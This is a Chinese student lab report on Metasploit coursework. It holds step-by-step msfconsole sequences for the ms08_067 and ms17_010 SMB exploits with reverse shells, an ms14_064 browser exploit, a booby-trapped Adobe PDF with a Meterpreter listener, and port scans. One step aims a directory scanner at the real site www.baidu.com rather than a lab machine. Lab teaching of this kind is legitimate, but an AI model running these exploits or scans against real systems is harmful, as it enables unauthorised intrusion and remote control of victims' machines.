2019-2020-2 20175221『网络对抗技术』Exp6:MSF基础应用
2019-2020-2 20175221『网络对抗技术』Exp6:MSF基础应用
-
一、原理与实践说明
- 1.实验目的
- 2.实验原理
- 3.基础问题
-
二、实践过程记录
- (1)一个主动攻击实践,如ms08_067
- (2)一个针对浏览器的攻击,如ms14_064
- (3)一个针对客户端的攻击,如Adobe
- (4)应用辅助模块的攻击
-
实验总结与体会
一、原理与实践说明
1.实践内容
- 本实践目标是掌握 metasploit 的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
一个主动攻击实践,如ms08-067(1分)(成功)ms17_010(成功且唯一)
-
一个针对浏览器的攻击,如ms14_064(1分)(成功且唯一)
-
一个针对客户端的攻击,如Adobe(1分)(成功)
-
成功应用任何一个辅助模块。(0.5分)(成功且唯一)
-
- 以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
2.关于msf
-
一、msf模块说明
Exploit
模块- 渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
Payload
模块-
在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
-
Encoder
模块- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征
- 针对
Auxiliary
模块-
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
-
Post
模块-
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
-
Nop
模块
- 空字段模块
-
二、MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
3.基础问题:
-
用自己的话解释什么是
exploit、
payload、
encode
exploit
:开始执行监听、攻击命令。相当于攻击者准备利用自己生成的一个后门程序或者漏洞进行攻击的一个过程。payload
:攻击机在靶机上执行的一段攻击代码,可以返弹连接,执行系统命令等。encode
:可以避免使攻击载荷不能完整运行的“坏字符”,也可以改变特征码,帮助攻击载荷避免被杀软发现
二.实践过程记录
主动攻击实践
-
ms08_067
-
攻击机: kali 靶机: windows XP Professional(English)
-
Kali 中输入
msfconsole
进入控制台,依次输入以下指令:-
msf >use exploit/windows/smb/ms08_067_netapi
-
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
-
msf exploit(ms08_067_netapi) > set LHOST 192.168.189.128 //攻击机ip
-
msf exploit(ms08_067_netapi) > set LPORT 5221 //攻击端口
-
msf exploit(ms08_067_netapi) > set RHOST 192.168.189.138 //靶机ip
-
msf exploit(ms08_067_netapi) > set target 0 //自动选择匹配度较高的目标系统类型
-
msf exploit(ms08_067_netapi) > exploit
-
- 如图是成功回连的情况
- 进入靶机的 shell:
- 可以使用 systeminfo 来查看靶机的系统信息,如图 systeminfo 显示关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,RAM、磁盘空间和网卡等。
-
ms17_010
-
攻击机: kali 靶机: windows 7
- nmap --script=vuln 192.168.189.129 查看 win7有什么漏洞可以利用
- 以 ms17_010 为例,配置完参数, show options 也可以看到所选载荷适用的靶机类型:
- exploit 开始攻击,回连成功:
针对浏览器的攻击
-
攻击机: kali 靶机: windows XP Professional(English)
- 按照实验指导提供的 ms11_050 试了很多次,都是被禁止访问,于是只好尝试其他模块,查到 ms14_064 :
- 开始配置参数,show options 也可以看到,这是一个精准针对 XP 的浏览器漏洞模块
- 随后生成网站:
- 在 XP 上打开IE浏览器输入生成的网址,建立会话,回连成功:
针对客户端的攻击
-
攻击机: kali 靶机: windows XP Professional(English)
-
在 kali 输入
msfconsole
进入控制台,依次输入以下指令:- msf >use windows/fileformat/adobe_cooltype_sing //使用漏洞
- msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/bind_tcp //选择攻击载荷
- msf exploit(adobe_cooltype_sing) > set RHOST 192.168.189.138 //靶机ip
- msf exploit(adobe_cooltype_sing) > set LPORT 5221 //攻击端口
- msf exploit(adobe_cooltype_sing) > exploit //生成pdf
- 将生成的
msf.pdf
复制到Windows XP中,back
退出当前模块,进入监听模块 -
- msf > use exploit/multi/handler //进入监听模块
- msf exploit(handler) > set payload windows/meterpreter/bind_tcp //选择攻击载荷
- msf exploit(handler) > set RHOST 192.168.189.138 //靶机IP
- msf exploit(handler) > set LPORT 5221 //攻击端口
- msf exploit(handler) > exploit
- 由于我安装的 XP 虚拟机没有自带 adobe reader,所以得去下载。info 查看漏洞适应的软件版本,我下了9.0
- 靶机打开 pdf,成功回连:
- 当靶机关闭 pdf 后,回连中断。
成功应用任何一个辅助模块
-
使用 dir_scanner 搜索网站目录
- msf > use auxiliary/scanner/http/dir_scanner
- msf auxiliary(scanner/http/dir_scanner) > set THREADS 50
- msf auxiliary(scanner/http/dir_scanner) > set RHOSTS www.baidu.com
- msf auxiliary(scanner/http/dir_scanner) > exploit
- dir_scanner 模块发现了百度网站目录的 cache http 状态码200 ,表示请求成功
-
端口扫描模块
- 具体有以下几种扫描方式:
- auxiliary/scanner/portscan/ack :通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
- auxiliary/scanner/portscan/ftpbounce :通过FTP bounce攻击的原理对TCP服务进行枚举,在一些旧的Solaris及FreeBSD系统的FTP服务中此类攻击方式仍能被利用。
- auxiliary/scanner/portscan/syn :使用发送TCP SYN标志的方式探测开放的端口
- auxiliary/scanner/portscan/tcp :通过一次完整的TCP连接来判断端口是否开放
- auxiliary/scanner/portscan/xmas :通过发送FIN、PSH、URG标志,相对而言较为隐蔽。
-
先使用 syn 扫描试一下:使用TCP SYN扫描方式探测开放的端口
- msf > use auxiliary/scanner/portscan/syn
- msf auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.43.240//靶机IP
- msf auxiliary(scanner/portscan/syn) > set THREADS 50
- msf auxiliary(scanner/portscan/syn) > exploit
- 再试试 tcp 扫描:
-
- msf > use auxiliary/scanner/portscan/tcp
- msf auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.43.240//靶机IP
- msf auxiliary(scanner/portscan/tcp) > set THREADS 50
- msf auxiliary(scanner/portscan/tcp) > exploit
三.实践总结及体会
- 本次实验我觉得只要逻辑理清楚,操作起来还是很简单的:
- 比如针对浏览器漏洞,客户端漏洞,那就针对性地 search 查找相应模块。模块一般有几个候选,此时需要匹配靶机的操作系统是否能被模块精准攻陷,使用 info 查询详细信息,或者进入模块 show options 也可以
- 这次攻击我觉得可以分为两类,一种就是主动回连,知道靶机 IP 后,强行进入其 shell,另外则是生成一个陷阱如 pdf,pcng,网站等,等待靶机去点击或者访问,此时则自动建立回话,反向连接
- 绝大多数时间还是花在了下虚拟机,配置环境(漏洞与OS必须匹配),以及浏览器攻击模块选择上。
- 总体来说,实验过程还是比较顺利。